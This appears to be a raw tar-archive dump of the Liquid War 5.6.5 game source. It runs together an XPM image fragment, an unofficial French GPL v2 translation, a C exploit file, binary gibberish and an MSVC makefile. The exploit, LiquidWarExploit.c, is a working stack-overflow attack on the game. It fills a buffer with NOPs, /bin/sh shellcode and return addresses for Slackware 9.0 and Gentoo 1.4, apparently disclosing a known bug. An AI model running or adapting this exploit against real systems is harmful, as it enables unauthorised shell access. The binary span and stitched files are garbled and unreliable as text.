< & & % i.j.k.l.m.{ :.:. ", " &.Q z %.%.m n.o.p.q.{ = = * r.s.t.u.v.% & % & & & < < < % % w.x.y.z.A.:.1 1 ", " 0.Q Q Q %.%.B.C.D.E.F.G.= = ;.H.I.J.i & & & % & & & & & % & K.L.M.N.O.E P.{ c Q. ", " l Q z z %.R.S.T.U.V.W.>.= #.X.Y.Z.`. +% & & % % % % % % % +.+++@+#+q.= = = $+%+ ", " P z z %.z &+*+=+-+;+>+,+= >.'+)+!+~+{+< % % % 8 8 % % % % ]+^+/+(+_+:+= = <+[+}+|+ ", " 1+Q z z %.P 2+3+4+5+6+7+:.= E 8+9+0+a+`.v.% b+c+d+e+{+v.b+8 f+g+h+i+z.j+= = k+l+m+n+ ", " o+Q z z %.%.2+p+q+r+s+t+= = u+v+w+x+y+~+z+v.`.A+B+C+D+u.d+# E+C+F+G+H+d.= = k+V I+J+ ", " &.Q z z %.%.K+L+M+N+O+P+= = G.Q+R+S+Z a+e+T+U+V+W+W+X+Y+g+Z+++`+ @.@:+#.= = k++@@@#@ ", " z Q Q z %.R.$@%@&@*@v+=@= = = -@;@>@,@I t.'@)@!@~@{@]@^@/@(@_@:@<@O.>.= = = = [@}@|@1@ ", " %.z Q z %.2@3@4@5@6@|+q = { = 7@8@9@0@a@b@c@d@e@e@f@g@h@i@j@k@l@]@m@* = = = = n@o@p@q@ ", " z z Q Q z %.r@3@s@t@e@u@1 = 1 = 1 v@w@x@y@z@A@p.B@C@2 8+E.D@E@F@G@H@I@1 = { = J@K@L@M@N@ ", " z z z z z %.O@P@Q@R@S@T@P.= { = = u+U@V@W@X@Y@Z@`@1 #. #.#+#@###$#%#l+= = = #.j+&#*#=#`. ", " %.%.%.z %.P -#;#>#,#I@1 = = { = = - d.j+X.'#u+= = = = { )#!#~#{#O. #= = = >.m@]#^#/#N@ ", " z Q z z %.P (#_#:#<#[#}#= { 1 { { = = :.* :.= = = = = = 1 :+Z@|#1#= = = = E 2#3#4#5#6# ", " P P z %.%.7#8#9#0#a#+#b#= = { { 1 { = = = #.c#d#e#1#* = = = #.{ = = { = = 1#f#g#h#i# ", " P P z %.z 9 j#k#l#m#n#o#= = = = { = = = p#q#'+r#s#O.t#{ = = = = = { 1 = = u+u#v#w#x# ", " P Q Q z %.Q O@y#z#A#B#Z@= = = = = = >.d#C#_+E.D#E#F#G#d.= = { { { 1 { = #.u@H#I#J#K# ", " Q P Q %.%.%.R.L#M#N#O#>.1 `@P#u+P+Q#e@R#S#T#U#V#W#X#2 c#= = = = = = #.T@Y#Z#`# ${+ ", " &.Q Q z z %.%..$+$@$#$$$o#%$r#&$S@*$=$-$;$>$,$'$)$!$~${$]$:.= :.* q T@^$/$($_$c+ ", " &.Q Q z %.z %.%.:$<$[$}$|$1$2$3$4$5$6$7$8$9$0$a$b$c$d$e$f$)#b#t+Z@g$s#E.h$i$j$% ", " P Q z z %.%.%.l k$l$m$n$o$p$q$r$s$<$t$l$u$v$w$l$x$y$z$A$G#^$A@B$C$H@D$E$F$% % ", " P Q Q z z z %.%.9 8#G$H$I$J$I$K$L$P@L$M$N$O$P$Q$R$S$T$U$f@s+U$V$W$X$Y$Z$]+% ", " <.Q Q %.z z %.%.9 2+`$ %O$`$.%+%9 A r@+%@%P$#%$%%%&%*%=%-%;%>%,%'%)%z+!% ", " 1+P Q z %.z z %.%.z 9 ~%{%m Q %.%.%.%.%.]%^%/%(%(@_%:%<%[%}%|%1%2%8 % 3% ", " P &.P %.%.z z %.%.%.%.%.%.%.%.%.%.%.{%4%5%6%7%L.8%b+K.j 9%0%a%8 % b% ", " c%d%e%z Q z %.z z z z z z %.%.%.9 L$f%g%h%i%{.% j%% % +k%% % & ", " c%c%Q Q z %.z %.%.z z %.%.%.l%m%f%n%o%p%8 % % & ].% % % % % ", " P Q P Q %.%.z z %.%.%.0.{%q%r%s%t%u%v%% % b%b%< & % % & ", " P P Q z z %.%.l w%L$z#m$x%y%z%E+A%B%% & & 8 C%8 & ", " P P P z %..$(#t$D%E%F%G%H%I%z+J%& % % 8 {.C% ", " P <.c%K%L%M%N%O%P%Q%v%w.L b%% {. +< ", " 9 R%S%T%U%V%9%W%X%]+% < K. ", " e+X% ", " ", " "}; liquidwar-5.6.5/misc/gpl_fr.html0000664000372000037200000007611513407756104016245 0ustar travistravisTraduction de la GPL

Table des matires

  1. Notice d'accompagnement de la traduction non officielle conserver dans toute reproduction de cette traduction
  2. GNU GENERAL PUBLIC LICENSE (TRADUCTION NON OFFICIELLE)
  3. Prambule
  4. Conditions d'exploitation portant sur la duplication, la distribution et la modification
  5. ABSENCE DE GARANTIE
  6. Comment appliquer ces dispositions a vos nouveaux programmes?



Notice d'accompagnement de la traduction non officielle conserver dans toute reproduction de cette traduction

This is an unofficial translation of the GNU General Public License into french. It was not published by the Free Software Foundation, and does not legally state the distribution terms for software that uses the GNU GPL--only the original English text of the GNU GPL does that. However, we hope that this translation will help french speakers understand the GNU GPL better.

Ceci est une traduction non officielle de la GNU General Public License en franais. Elle n'a pas t publie par la Free Software Foundation, et ne dtermine pas les termes de distribution pour les logiciels qui utilisent la GNU GPL--seul le texte anglais original de la GNU GPL en a le droit. Cependant, nous esprons que cette traduction aidera les francophones mieux comprendre la GPL.

Cette traduction est sous Copyright 2001 APRIL (http://www.april.org).
La version la plus jour de ce document est disponible sur http://www.april.org/gnu/gpl_french.html

Il est permis tout le monde de reproduire et distribuer des copies conformes de cette traduction, mais aucune modification ne doit y tre apporte, et la prsente notice doit tre prserve.

Nous autorisons la FSF apporter toute modification qu'elle jugera ncessaire pour rendre la traduction plus claire.


GNU GENERAL PUBLIC LICENSE (TRADUCTION NON OFFICIELLE)

Version 2, juin 1991

Copyright (C) 1989, 1991, Free Software Foundation Inc. 675 Mass Ave, Cambridge, MA02139, Etats-Unis.

Il est permis tout le monde de reproduire et distribuer des copies conformes de ce document de licence, mais aucune modification ne doit y tre apporte.




Prambule

Les licences relatives la plupart des logiciels sont destines supprimer votre libert de les partager et de les modifier. Par contraste, la licence publique gnrale GNU General Public License veut garantir votre libert de partager et de modifier les logiciels libres, pour qu'ils soient vraiment libres pour tous leurs utilisateurs. La prsente licence publique gnrale s'applique la plupart des logiciels de la Free Software Foundation, ainsi qu' tout autre programme dont les auteurs s'engagent l'utiliser. (Certains autres logiciels sont couverts par la Licence Publique Gnrale pour Bibliothques GNU la place). Vous pouvez aussi l'appliquer vos programmes.

Quand nous parlons de logiciels libres, nous parlons de libert, non de gratuit. Nos licences publiques gnrales veulent vous garantir :

  • que vous avez toute libert de distribuer des copies des logiciels libres (et de facturer ce service, si vous le souhaitez) ;

  • que vous recevez les codes sources ou pouvez les obtenir si vous le souhaitez ;

  • que vous pouvez modifier les logiciels ou en utiliser des lments dans de nouveaux programmes libres ;

  • et que vous savez que vous pouvez le faire.

Pour protger vos droits, nous devons apporter des restrictions, qui vont interdire quiconque de vous dnier ces droits, ou de vous demander de vous en dsister. Ces restrictions se traduisent par certaines responsabilits pour ce qui vous concerne, si vous distribuez des copies de logiciels, ou si vous les modifiez.

Par exemple, si vous distribuez des copies d'un tel programme, gratuitement ou contre une rmunration, vous devez transfrer aux destinataires tous les droits dont vous disposez. Vous devez vous garantir qu'eux-mmes, par ailleurs, reoivent ou peuvent recevoir le code source. Et vous devez leur montrer les prsentes dispositions, de faon qu'ils connaissent leurs droits.

Nous protgeons vos droits en deux tapes:

  1. Nous assurons le droit d'auteur (copyright) du logiciel, et

  2. Nous vous proposons cette licence, qui vous donne l'autorisation lgale de dupliquer, distribuer et/ou modifier le logiciel.

De mme, pour la protection de chacun des auteurs, et pour notre propre protection, nous souhaitons nous assurer que tout le monde comprenne qu'il n'y a aucune garantie portant sur ce logiciel libre. Si le logiciel est modifi par quelqu'un d'autre puis transmis des tiers, nous souhaitons que les destinataires sachent que ce qu'ils possdent n'est pas l'original, de faon que tous problmes introduits par d'autres ne se traduisent pas par une rpercussion ngative sur la rputation de l'auteur original.

Enfin, tout programme libre est en permanence menac par des brevets de logiciels. Nous souhaitons viter le danger que des sous-distributeurs d'un programme libre obtiennent titre individuel des licences de brevets, avec comme consquence qu'ils ont un droit de proprit sur le programme. Pour viter cette situation, nous avons fait tout ce qui est ncessaire pour que tous brevets doivent faire l'objet d'une concession de licence qui en permette l'utilisation libre par quiconque, ou bien qu'il ne soit pas concd du tout.

Nous prsentons ci-dessous les clauses et dispositions concernant la duplication, la distribution et la modification.




Conditions d'exploitation portant sur la duplication, la distribution et la modification

  1. Le prsent contrat de licence s'applique tout programme ou autre ouvrage contenant un avis, appos par le dtenteur du droit de proprit, disant qu'il peut tre distribu au titre des dispositions de la prsente Licence Publique Gnrale. Ci-aprs, le "Programme" dsigne l'un quelconque de ces programmes ou ouvrages, et un "ouvrage fond sur le programme" dsigne soit le programme, soit un ouvrage qui en drive au titre de la loi sur le droit d'auteur ; plus prcisment, il s'agira d'un ouvrage contenant le programme ou une version de ce dernier, soit mot mot, soit avec des modifications et/ou traduit en une autre langue (ci-aprs, le terme "modification" englobe, sans aucune limitation, les traductions qui en sont faites). Chaque titulaire de licence sera appel "concessionnaire".

    Les activits autres que la duplication, la distribution et la modification ne sont pas couvertes par la prsente licence ; elles n'entrent pas dans le cadre de cette dernire. L'excution du programme n'est soumise aucune restriction, et les rsultats du programme ne sont couverts que si son contenu constitue un ouvrage fond sur le programme (indpendamment du fait qu'il a t ralis par excution du programme). La vracit de ce qui prcde dpend de ce que fait le programme.

  2. Le concessionnaire peut dupliquer et distribuer des copies mot mot du code source du programme tel qu'il les reoit, et ce sur un support quelconque, du moment qu'il appose, d'une manire parfaitement visible et approprie, sur chaque exemplaire, un avis appropri de droits d'auteur (Copyright) et de renonciation garantie; qu'il maintient intacts tous les avis qui se rapportent la prsente licence et l'absence de toute garantie ; et qu'il transmet tout destinataire du programme un exemplaire de la prsente licence en mme temps que le programme.

    Le concessionnaire peut facturer l'acte physique de transfert d'un exemplaire, et il peut, sa discrtion, proposer en change d'une rmunration une protection en garantie.

  3. Le concessionnaire peut modifier son ou ses exemplaires du programme ou de toute portion de ce dernier, en formant ainsi un ouvrage fond sur le programme, et dupliquer et distribuer ces modifications ou cet ouvrage selon les dispositions de la section 1 ci-dessus, du moment que le concessionnaire satisfait aussi toutes ces conditions :

    1. Le concessionnaire doit faire en sorte que les fichiers modifis portent un avis, parfaitement visible, disant que le concessionnaire a modifi les fichiers, avec la date de tout changement.

    2. Le concessionnaire doit faire en sorte que tout ouvrage qu'il distribue ou publie, et qui, en totalit ou en partie, contient le programme ou une partie quelconque de ce dernier ou en drive, soit concd en bloc, titre gracieux, tous tiers au titre des dispositions de la prsente licence.

    3. Si le programme modifi lit normalement des instructions interactives lors de son excution, le concessionnaire doit, quand il commence l'excution du programme pour une telle utilisation interactive de la manire la plus usuelle, faire en sorte que ce programme imprime ou affiche une annonce, comprenant un avis appropri de droits d'auteur, et un avis selon lequel il n'y a aucune garantie (ou autrement, que le concessionnaire fournit une garantie), et que les utilisateurs peuvent redistribuer le programme au titre de ces dispositions, et disant l'utilisateur comment visualiser une copie de cette licence (exception : si le programme par lui-mme est interactif mais n'imprime normalement pas une telle annonce, l'ouvrage du concessionnaire se fondant sur le programme n'a pas besoin d'imprimer une annonce).

    Les exigences ci-dessus s'appliquent l'ouvrage modifi pris en bloc. Si des sections identifiables de cet ouvrage ne drivent pas du programme et peuvent tre considres raisonnablement comme reprsentant des ouvrages indpendants et distincts par eux-mmes, alors la prsente licence, et ses dispositions, ne s'appliquent pas ces sections quand le concessionnaire les distribue sous forme d'ouvrages distincts. Mais quand le concessionnaire distribue ces mmes sections en tant qu'lment d'un tout qui reprsente un ouvrage se fondant sur le programme, la distribution de ce tout doit se faire conformment aux dispositions de la prsente licence, dont les autorisations, portant sur d'autres concessionnaires, s'tendent la totalit dont il est question, et ainsi chacune de ces parties, indpendamment de celui qu'il a crite.

    Ainsi, cette section n'a pas pour but de revendiquer des droits ou de contester vos droits sur un ouvrage entirement crit par le concessionnaire ; bien plus, l'intention est d'exercer le droit de surveiller la distribution d'ouvrages drive ou collective se fondant sur le programme.

    De plus, un simple assemblage d'un autre ouvrage ne se fondant pas sur le programme, avec le programme (ou avec un ouvrage se fondant sur le programme) sur un volume d'un support de stockage ou distribution, ne fait pas entrer l'autre ouvrage dans le cadre de la prsente licence.

  4. Le concessionnaire peut dupliquer et distribuer le programme (ou un ouvrage se fondant sur ce dernier, au titre de la Section 2), en code objet ou sous une forme excutable, au titre des dispositions des Sections 1 et 2 ci-dessus, du moment que le concessionnaire effectue aussi l'une des oprations suivantes :

    1. Lui joindre le code source complet correspondant, exploitable par une machine, code qui doit tre distribu au titre des Sections 1 et 2 ci-dessus sur un support couramment utilis pour l'change de logiciels ; ou bien

    2. Lui joindre une offre crite, dont la validit se prolonge pendant au moins 3 ans, de transmettre un tiers quelconque, pour un montant non suprieur au cot pour le concessionnaire, de ralisation physique de la distribution de la source, un exemplaire complet, exploitable par une machine, du code source correspondant, qui devra tre distribu au titre des dispositions des Sections 1 et 2 ci-dessus sur un support couramment utilis pour l'change des logiciels ; ou bien

    3. Lui joindre les informations que le concessionnaire a reues, pour proposer une distribution du code source correspondant (cette variante n'est autorise que pour la distribution non commerciale, et seulement si le concessionnaire a reu le programme sous forme excutable ou sous forme d'un code objet, avec une telle offre, conformment l'alina b) ci-dessus).

    Le code source d'un ouvrage reprsente la forme prfre de l'ouvrage pour y effectuer des modifications. Pour un ouvrage excutable, le code source complet reprsente la totalit du code source pour tous les modules qu'il contient, plus tous fichiers de dfinitions d'interface associs, plus les informations en code machine pour commander la compilation et l'installation du programme excutable. Cependant, titre d'exceptions spciales, le code source distribu n'a pas besoin de comprendre quoi que ce soit qui est normalement distribu (sous forme source ou sous forme binaire) avec les composants principaux (compilateur, noyau de systme d'exploitation, etc.) du systme d'exploitation sur lequel est excut le programme excutable, moins que le composant, par lui-mme, soit joint au programme excutable.

    Si la distribution de l‘excutable ou du code objet est ralise de telle sorte qu'elle offre d'accder une copie partir d'un lieu dsign, alors le fait d'offrir un accs quivalent la duplication du code source partir de ce mme lieu s'entend comme distribution du code source, mme si des tiers ne sont pas contraints de dupliquer la source en mme temps que le code objet.

  5. Le concessionnaire ne peut dupliquer, modifier, concder en sous-licence ou distribuer le programme, sauf si cela est expressment prvu par les dispositions de la prsente licence. Toute tentative pour autrement dupliquer, modifier, concder en sous-licence ou distribuer le programme est rpte nulle, et met automatiquement fin aux droits du concessionnaire au titre de la prsente licence. Cependant, les parties qui ont reu des copies, ou des droits, de la part du concessionnaire au titre de la prsente licence, ne verront pas expirer leur contrat de licence, tant que ces parties agissent d'une manire parfaitement conforme.

  6. Il n'est pas exig du concessionnaire qu'il accepte la prsente licence, car il ne l'a pas signe. Cependant, rien d'autre n'octroie au concessionnaire l'autorisation de modifier ou de distribuer le programme ou ses ouvrages drivs. Ces actions sont interdites par la loi si le concessionnaire n'accepte pas la prsente licence. En consquence, par le fait de modifier ou de distribuer le programme (ou un ouvrage quelconque se fondant sur le programme), le concessionnaire indique qu'il accepte la prsente licence, et qu'il a la volont de se conformer toutes les clauses et dispositions concernant la duplication, la distribution ou la modification du programme ou d'ouvrages se fondant sur ce dernier.

  7. Chaque fois que le concessionnaire redistribue le programme (ou tout ouvrage se fondant sur le programme), le destinataire reoit automatiquement une licence de l'metteur initial de la licence, pour dupliquer, distribuer ou modifier le programme, sous rserve des prsentes clauses et dispositions. Le concessionnaire ne peut imposer aucune restriction plus pousse sur l'exercice, par le destinataire, des droits octroys au titre des prsentes. Le concessionnaire n'a pas pour responsabilit d'exiger que des tiers se conforment la prsente licence.

  8. Si, en consquence une dcision de justice ou une allgation d'infraction au droit des brevets, ou pour toute autre raison (qui n'est pas limite des problmes de proprits industrielles), des conditions sont imposes au concessionnaire (par autorit de justice, par convention ou autrement), qui entrent en contradiction avec les dispositions de la prsente licence, elles n'exemptent pas le concessionnaire de respecter les dispositions de la prsente licence. Si le concessionnaire ne peut procder la distribution de faon satisfaire simultanment ces obligations au titre de la prsente licence et toutes autres obligations pertinentes, alors, en consquence de ce qui prcde, le concessionnaire peut ne pas procder du tout la distribution du programme. Par exemple, si une licence de brevet ne permettait pas une redistribution du programme, sans redevances, par tous ceux qui reoivent des copies directement ou indirectement par l'intermdiaire du concessionnaire, alors le seul moyen par lequel le concessionnaire pourrait satisfaire tant cette licence de brevet qu' la prsente licence, consisterait s'abstenir compltement de distribuer le programme.

    Si une partie quelconque de cette section est considre comme nulle ou non excutoire dans certaines circonstances particulires, le reste de cette section est rput s'appliquer, et la section dans son ensemble est considre comme s'appliquant dans les autres circonstances.

    La prsente section n'a pas pour objet de pousser le concessionnaire enfreindre tous brevets ou autres revendications droit de proprit, ou encore contester la validit de une ou plusieurs quelconques de ces revendications ; la prsente section a pour objet unique de protger l'intgrit du systme de distribution des logiciels libres, systme qui est mis en oeuvre par les pratiques lies aux licences publiques. De nombreuses personnes ont apport une forte contribution la gamme tendue des logiciels distribus par ce systme, en comptant sur l'application systmatique de ce systme ; c'est l'auteur/donateur de dcider s'il a la volont de distribuer le logiciel par un quelconque autre systme, et un concessionnaire ne peut imposer ce choix.

    La prsente section veut rendre parfaitement claire ce que l'on pense tre une consquence du reste de la prsente licence.

  9. Si la distribution et/ou l'utilisation du Programme est restreinte dans certains pays, sous l'effet de brevets ou d'interfaces prsentant un droit d'auteur, le dtenteur du droit d'auteur original, qui soumet le Programme aux dispositions de la prsente licence, pourra ajouter une limitation expresse de distribution gographique excluant ces pays, de faon que la distribution ne soit autorise que dans les pays ou parmi les pays qui ne sont pas ainsi exclus. Dans ce cas, la limitation fait partie intgrante de la prsente licence, comme si elle tait crite dans le corps de la prsente licence.

    La Free Software Foundation peut, de temps autre, publier des versions rvises et/ou nouvelles du General Public License. Ces nouvelles versions seront analogues, du point de vue de leur esprit, la prsente version, mais pourront en diffrer dans le dtail, pour rsoudre de nouveaux problmes ou de nouvelles situations.

    Chaque version reoit un numro de version qui lui est propre. Si le programme spcifie un numro de version de la prsente licence, qui s'applique cette dernier et " toute autre version ultrieure", le concessionnaire a le choix de respecter les clauses et dispositions de cette version, ou une quelconque version ultrieure publie par la Free Software Foundation. Si le programme ne spcifie pas de numro de version de la prsente licence, le concessionnaire pourra choisir une version quelconque publie tout moment par la Free Software Foundation.

  10. Si le concessionnaire souhaite incorporer des parties du programme dans d'autres programmes libres dont les conditions de distribution sont diffrentes, il devrait crire l'auteur pour demander son autorisation. Pour un logiciel soumis droit d'auteur par la Free Software Foundation, il devra crire la Free Software Foundation ; nous faisons quelquefois des exceptions cette rgle. Notre dcision va tre guide par le double objectif de protger le statut libre de tous les drivs de nos logiciels libres, et de favoriser le partage et la rutilisation des logiciels en gnral.


    ABSENCE DE GARANTIE

  11. COMME LA LICENCE DU PROGRAMME EST CONCEDEE A TITRE GRATUIT, IL N'Y AUCUNE GARANTIE S'APPLIQUANT AU PROGRAMME, DANS LA MESURE AUTORISEE PAR LA LOI EN VIGUEUR. SAUF MENTION CONTRAIRE ECRITE, LES DETENTEURS DU DROIT D'AUTEUR ET/OU LES AUTRES PARTIES METTENT LE PROGRAMME A DISPOSITON "EN L'ETAT", SANS AUCUNE GARANTIE DE QUELQUE NATURE QUE CE SOIT, EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS LIMITATION, LES GARANTIES IMPLICITES DE COMMERCIALISATION ET DE L'APTITUDE A UN OBJET PARTICULIER. C'EST LE CONCESSIONNAIRE QUI PREND LA TOTALITE DU RISQUE QUANT A LA QUALITE ET AUX PERFORMANCES DU PROGRAMME. SI LE PROGRAMME SE REVELAIT DEFECTUEUX, C'EST LE CONCESSIONNAIRE QUI PRENDRAIT A SA CHARGE LE COUT DE L'ENSEMBLE DES OPERATIONS NECESSAIRES D'ENTRETIEN, REPARATION OU CORRECTION.

    12. EN AUCUN CAS, SAUF SI LA LOI EN VIGUEUR L'EXIGE OU SI UNE CONVENTION ECRITE EXISTE A CE SUJET, AUCUN DETENTEUR DE DROITS D'AUTEUR, OU AUCUNE PARTIE AYANT LE POUVOIR DE MODIFIER ET/OU DE REDISTRIBUER LE PROGRAMME CONFORMEMENT AUX AUTORISATIONS CI-DESSUS, N'EST RESPONSABLE VIS-A-VIS DU CONCESSIONNAIRE POUR CE QUI EST DES DOMMAGES, Y COMPRIS TOUS DOMMAGES GENERAUX, SPECIAUX, ACCIDENTELS OU INDIRECTS, RESULTANT DE L'UTILISATION OU DU PROGRAMME OU DE L'IMPOSSIBILITE D'UTILISER LE PROGRAMME (Y COMPRIS, MAIS SANS LIMITATION, LA PERTE DE DONNEES, OU LE FAIT QUE DES DONNEES SONT RENDUES IMPRECISES, OU ENCORE LES PERTES EPROUVEES PAR LE CONCESSIONNAIRE OU PAR DES TIERS, OU ENCORE UN MANQUEMENT DU PROGRAMME A FONCTIONNER AVEC TOUS AUTRES PROGRAMMES), MEME SI CE DETENTEUR OU CETTE AUTRE PARTIE A ETE AVISE DE LA POSSIBILITE DE TELS DOMMAGES.


FIN DES CONDITIONS D'EXPLOITATION





Comment appliquer ces dispositions a vos nouveaux programmes?

Si le concessionnaire dveloppe un nouveau programme, et s'il en souhaite l'utilisation la plus large possible dans le public, le meilleur moyen d'y arriver est d'en faire un logiciel libre, que tout le monde pourra redistribuer et modifier au titre des prsentes dispositions.

Dans ce but, il convient de rattacher au programme les avis suivants. Le moyen le plus sr consiste les rattacher au dbut de chaque fichier source, pour avertir le plus efficacement possible de l'exclusion de garantie ; et chaque fichier doit comporter au moins la ligne "copyright", et un pointeur indiquant o est localise la totalit de l'avis.

Une ligne pour donner le nom du programme et une ide de ce qu'il fait.

Copyright (C) 19yy nom de l'auteur

Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier conformment aux dispositions de la Licence Publique Gnrale GNU, telle que publie par la Free Software Foundation ; version 2 de la licence, ou encore ( votre choix) toute version ultrieure.

Ce programme est distribu dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans mme la garantie implicite de COMMERCIALISATION ou D'ADAPTATION A UN OBJET PARTICULIER. Pour plus de dtail, voir la Licence Publique Gnrale GNU .

Vous devez avoir reu un exemplaire de la Licence Publique Gnrale GNU en mme temps que ce programme ; si ce n'est pas le cas, crivez la Free Software Foundation Inc., 675 Mass Ave, Cambridge, MA 02139, Etats-Unis.

Ajoutez aussi des informations sur le moyen permettant d'entrer en contact avec vous par courrier lectronique (e-mail) et courrier normal.

Si le programme est interactif, prvoyez en sortie un court avis, tel que celui qui est prsent ci-dessous, lors du dmarrage en mode interactif.

Gnomovision version 69, Copyright (C) 19 yy nom de l'auteur

Gnomovision est livr absolument SANS AUCUNE GARANTIE ; pour plus de dtail, tapez "show w". Il s'agit d'un logiciel libre, et vous avez le droit de le redistribuer dans certaines conditions ; pour plus de dtail, tapez "show c".

Les instructions hypothtiques "show w" et "show c" doivent prsenter les parties appropries de la Licence Publique Gnrale. Bien videmment, les instructions que vous utilisez peuvent porter d'autres noms que "show w" et "show c"; elles peuvent mme correspondre des clics de souris ou des lments d'un menu, selon ce qui convient votre programme.

Si ncessaire, vous devrez aussi demander votre employeur (si vous travaillez en tant que programmeur) ou votre ventuelle cole ou universit, de signer une "renonciation droit d'auteur" concernant le programme. En voici un chantillon (il suffit de modifier les noms) :

Yoyodyne, Inc., par la prsente, renonce tout intrt de droits d'auteur dans le programme "Gnomovision" (qui fait des passages au niveau des compilateurs) crit par James Hacker.

Signature de Ty Coon, 1er avril 1989

Ty Coon, President of Vice

La prsente Licence Publique Gnrale n'autorise pas le concessionnaire incorporer son programme dans des programmes propritaires. Si votre programme est une bibliothque de sous-programmes, vous pouvez considrer comme plus intressant d'autoriser une dition de liens des applications propritaires avec la bibliothque. Si c'est ce que vous souhaitez, vous devrez utiliser non pas la prsente licence, mais la Licence Publique Gnrale pour Bibliothques GNU.

Niveau suprieur | Gnr le 26/11/2001 par Olivier Berger
Sauf mention contraire indique plus haut, le prsent document est soumis aux conditions d'exploitation suivantes:

Copyright 2001 APRIL
Ce document peut tre reproduit par n'importe quel moyen que ce soit, pourvu qu'aucune modification ne soit effectue et que cette notice soit prserve.

liquidwar-5.6.5/misc/LiquidWarExploit.c0000664000372000037200000000312213407756104017504 0ustar travistravis/* * * http://www.rosiello.org * (c) Rosiello Security * * Copyright Rosiello Security 2003 * All Rights reserved. * * Tested on Slakware 9.0.0 & Gentoo 1.4 * * Author: Angelo Rosiello * Mail : angelo@rosiello.org * URL : http://ww.rosiello.org * * Greetz: Astharot by Zone-H who posted the stack overflow bug * */ #include #include #include /* /bin/sh */ static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; #define NOP 0x90 #define LEN 520 //Buffer for Slackware 9.0.0 //#define LEN 528 //Buffer for Gentoo 1.4 #define RET 0xbffff414 //Valid Address for Slackware 9.0.0 //#define RET 0xbffff360 //Valid Address for Gentoo 1.4 int main() { char buffer[LEN]; long retaddr = RET; int i; fprintf(stderr, "\n(c) Rosiello Security 2003 - http://www.rosiello.org\n"); fprintf(stderr, "Liquidwar's exploit for Slackware 9.0.0\n"); fprintf(stderr, "by Angelo Rosiello - angelo@rosiello.org\n\n"); fprintf(stderr, "using address 0x%lx\n",retaddr); for (i=0;i L]/7cd3nS?5Rz|XQ)U UH') Xc%0Q{/8i/9   QL}u 8p:mr qZ9 ]E?p"wzu V-7Vm {~xvs?D udB5cQ&fPN&=<NcgEdo!_|)1vW-=I=IDIV y hxhr/ x}p*C=LP  Q<pa|2,v,Swr?"itas zF% U"2Onq H2)EP KO\0Q#G e$u8BDksYb|l+=hl12uR6 ]<WjOwk$$`~}wu-SvyGW7I 5} 2CK` Q3G=G=T8s'JRBi  ?A  LtG9+8S>p%[yh_jtn e<o!dv"G+{@|qq>/PF"e!hi>F*W.WkC9 P4 M! &x ]j!^R++ Zp tM1 H<( * fix msvc # then # > SET STATICLINK=1 # > make # or # > make STATICLINK=1 # C_PATH=./src/ H_PATH=./src/ ASM_PATH=./src/ OBJ_PATH=./src/ RC_PATH=./src/ OBJ_EXT=.win.o OBJ_NAMES=\ about \ advanced \ alleg2 \ area \ army \ asm \ autoplay \ back \ basicopt \ bigdata \ capture \ chat \ checksum \ code \ config \ connect \ controls \ cursor \ decal \ dialog \ disk \ disp \ distor \ dnsutil \ error \ exec2 \ exit \ fighter \ game \ httputil \ gfxmode \ grad \ graphics \ help \ info \ init \ internet \ joystick \ keyboard \ keyexch \ lang \ langde \ langdk \ langen \ langfr \ language \ level \ logcli \ main \ map \ maptex \ menu \ mesh \ message \ mouse \ move \ music \ mutxw32 \ netconf \ netkey \ netgame \ netmap \ netmess \ netplay\ network \ options \ palette \ parser \ path \ ping \ pion \ play \ popupw32 \ profile \ protocol \ random \ rules \ score \ serial \ sock2cli \ sockex \ sockw32 \ sound \ speeds \ startinf \ startup \ team \ texture \ thrdw32 \ ticker \ time \ viewport \ volume \ watchdog \ wave \ wwwcli \ glouglou \ monster \ spread \ ../utils/snprintf/snprintf \ lwwin OBJ_NAMES_SRV=\ basicopt \ chat \ dnsutil \ execw32 \ httputil \ logsrv \ netconf \ netkey \ netmap \ netmess \ parser \ serial \ server \ sock2srv \ sockex \ sockw32 \ srvchan \ srvcont \ srvteam \ srvtime \ startinf \ thrdw32 \ wwwsrv \ ../utils/snprintf/snprintf OBJ_NAMES_MAPGEN=\ ../utils/lwmapgen/big_quad \ ../utils/lwmapgen/boxes \ ../utils/lwmapgen/bubbles \ ../utils/lwmapgen/circles \ ../utils/lwmapgen/circuit \ ../utils/lwmapgen/cut \ ../utils/lwmapgen/func \ ../utils/lwmapgen/hole \ ../utils/lwmapgen/lines \ ../utils/lwmapgen/main \ ../utils/lwmapgen/map \ ../utils/lwmapgen/map_generator \ ../utils/lwmapgen/misc \ ../utils/lwmapgen/rand_box \ ../utils/lwmapgen/rand_func \ ../utils/lwmapgen/rand_poly \ ../utils/lwmapgen/rand_poly_cut \ ../utils/lwmapgen/street \ ../utils/lwmapgen/worms OBJ_FILES=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES))) OBJ_FILES_SRV=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES_SRV))) OBJ_FILES_MAPGEN=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES_MAPGEN))) C_FLAGS=-O3 -fomit-frame-pointer -I$(H_PATH) C_COMPILE=runner cl @ -nologo -DALLEGRO_STATICLINK -DWIN32 -DASM -DSNPRINTF -W1 -Gd -Ox -GB -MD -Fo$@ -c $< ASM_COMPILE=gcc -D_MSC_VER -D_WIN32 -D_M_IX86 -U__GNUC__ -UDJGPP -Wall -x assembler-with-cpp -o $@ -c $< RC_COMPILE=rc -Fo$@ $< all: lwwin.exe lwwinsrv.exe lwwinmap.exe $(OBJ_PATH)%$(OBJ_EXT): $(C_PATH)%.c $(C_COMPILE) $(OBJ_PATH)%$(OBJ_EXT): $(ASM_PATH)%.s $(ASM_COMPILE) $(OBJ_PATH)%$(OBJ_EXT): $(RC_PATH)%.rc $(RC_COMPILE) lwwin.exe: $(OBJ_FILES) runner link @ -nologo -release -subsystem:windows -out:$@ $(OBJ_FILES) alleg_s.lib kernel32.lib user32.lib gdi32.lib ole32.lib dinput.lib ddraw.lib dxguid.lib winmm.lib dsound.lib wsock32.lib lwwinsrv.exe: $(OBJ_FILES_SRV) runner link @ -nologo -release -subsystem:console -out:$@ $(OBJ_FILES_SRV) 